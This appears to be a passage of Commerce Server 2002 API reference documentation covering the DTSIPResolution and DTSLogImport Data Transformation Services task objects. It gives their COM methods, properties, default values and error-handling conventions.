DTSIPResolution.BatchSize

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::PersistPropertyBag_Load Method [C++]

DTSIPResolution.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSIPResolution::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::PersistPropertyBag_Save Method [C++]

DTSIPResolution.PersistPropertyBag_Save Method[Visual Basic]

Use this method to save the Data Transformation Services (DTS)task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSIPResolution::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution Properties [C++]

DTSIPResolution Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | BSTR | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | The number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.
[Visual Basic]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | String | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | Long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | Long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | The number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | Long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.


_DTSIPResolution::get_BatchSize, put_BatchSize Property [C++]

DTSIPResolution.BatchSize Property [Visual Basic]

The BatchSize property is a read/write Long that specifies the number of IP addresses that will be transferred to your Domain Name Server (DNS) in a batch.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_BatchSize(
 long BatchSize
);

Put method:

HRESULT _DTSIPResolution::put_BatchSize(
 long BatchSize
);
[Visual Basic]
Property BatchSize() As Long

Parameters

BatchSize[C++]
[in] When putting the property, a long that specifies the number of IP addresses that will be transferred to your DNS in a batch.
[out, retval] When getting the property, a long that specifies the number of IP addresses that will be transferred to your DNS in a batch.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for the BatchSize property is 500; the possible range is 10 to 99,999.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_LocalDomainName, put_LocalDomainName Property [C++]

DTSIPResolution.LocalDomainName Property [Visual Basic]

The LocalDomainName property is a read/write String that specifies the local domain name of the Domain Name Server (DNS) used as the primary server that resolves IP addresses.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_LocalDomainName(
 BSTR LocalDomainName
);

Put method:

HRESULT _DTSIPResolution::put_LocalDomainName(
 BSTR LocalDomainName
);
[Visual Basic]
Property LocalDomainName() As String

Parameters

LocalDomainName[C++]
[out, retval] When getting the value, this property contains a String that specifies the local domain name of the DNS used as the primary server that resolves IP addresses.
[in] When putting the value, this property contains a String that specifies the local domain name of the DNS used as the primary server that resolves IP addresses.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_Ncache, put_Ncache Property [C++]

DTSIPResolution.Ncache Property [Visual Basic]

The Ncache property is a read/write Long that specifies the number of days to store resolved IP addresses.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_Ncache(
 long Ncache
);

Put method:

HRESULT _DTSIPResolution::put_Ncache(
 long Ncache
);
[Visual Basic]
Property Ncache() As Long

Parameters

Ncache[C++]
[out, retval] When getting the property, a long that specifies the number of days to store resolved IP addresses.
[in] When putting the property, a long that specifies the number of days to store resolved IP addresses.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Valid values for the Ncache property are between 0 and 9999. The default value is 30 days. If you increase the default, IP resolution will occur more quickly. However, domain name changes may not be caught.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::NumRetries Property [C++]

DTSIPResolution.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts to be made that will be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSIPResolution::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[out, retval] When getting the property, a long that specifies the number of retry attempts that will be made after a SQL connection/query failure.
[in] When putting the property, a long that specifies that number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_ProcessingType, put_ProcessingType Property [C++]

DTSIPResolution.ProcessingType Property [Visual Basic]

The ProcessingType property is a read/write Long that contains an enumeration that specifies the type of processing, which can be either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSIPResolution::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[out,retval] When getting the property, a long that specifies the type of processing.
[in] When putting the property, a long that specifies the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_RetryInterval, put_RetryInterval Property[C++]

DTSIPResolution.RetryInterval Property[Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSIPResolution::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
[in] When putting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_SourceName, put_SourceName Property[C++]

DTSIPResolution.SourceName Property [Visual Basic]

The SourceName property is a read/write String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSIPResolution::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the value, a BSTR that contains the name of the Web site or Data Warehouse for which this task is processing data.
[out,retval] When getting the value, a pointer to a BSTR that contains the name of the Web site or Data Warehouse for which this task is processing data.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.TimeOut


_DTSIPResolution::get_TimeOut, put_TimeOut Property[C++]

DTSIPResolution.TimeOut Property [Visual Basic]

The TimeOut property is a read/write Long that specifies the number of seconds the Domain Name Server (DNS) searches before an IP address is marked as unresolved.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_TimeOut(
 long TimeOut
);

Put method:

HRESULT _DTSIPResolution::put_TimeOut(
 long TimeOut
);
[Visual Basic]
Property TimeOut() As Long

Parameters

TimeOut[C++]
[out, retval] When getting the property, a long that specifies the number of seconds to search.
[in] When putting the property, a long that specifies the number of seconds to search.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for the TimeOut property is 60 seconds. If you increase the default, you will resolve more IP addresses, but IP resolution will take longer.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName


DTSLogImport Object [C++]

DTSLogImport Object [Visual Basic]

Use this object to define and import Web log files. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Web server log import DTS task, see Scripting the Web Server Log Import DTS Task.

ProgID: | Commerce.DTSLogImport (Externally creatable)
COM Class Name: | DTSLogImport
Type Library Name: | Microsoft Commerce 2002 Log Import DTS Task Type Library
DLL Name: | CSDWDTSLogImports.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSLogImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
EndTime | DATE | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | VARIANT_BOOL | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ReadInfoFromAdmin | VARIANT_BOOL | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | DATE | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | VARIANT | Specifies the log files to import. This property is read/write.
[Visual Basic]
Property | Type | Description
EndTime | Date | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | Boolean | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | Long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write
ReadInfoFromAdmin | Boolean | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | Long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | Date | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | Variant | Specifies the log files to import. This property is read/write.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object


_DTSLogImport Methods [C++]

_DTSLogImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSLogImport::CustomTask_Execute Method [C++]

DTSLogImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSLogImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::PersistPropertyBag_Load Method [C++]

DTSLogImport.PersistPropertyBad_Load Method [Visual Basic]

Use this method to load the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSLogImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

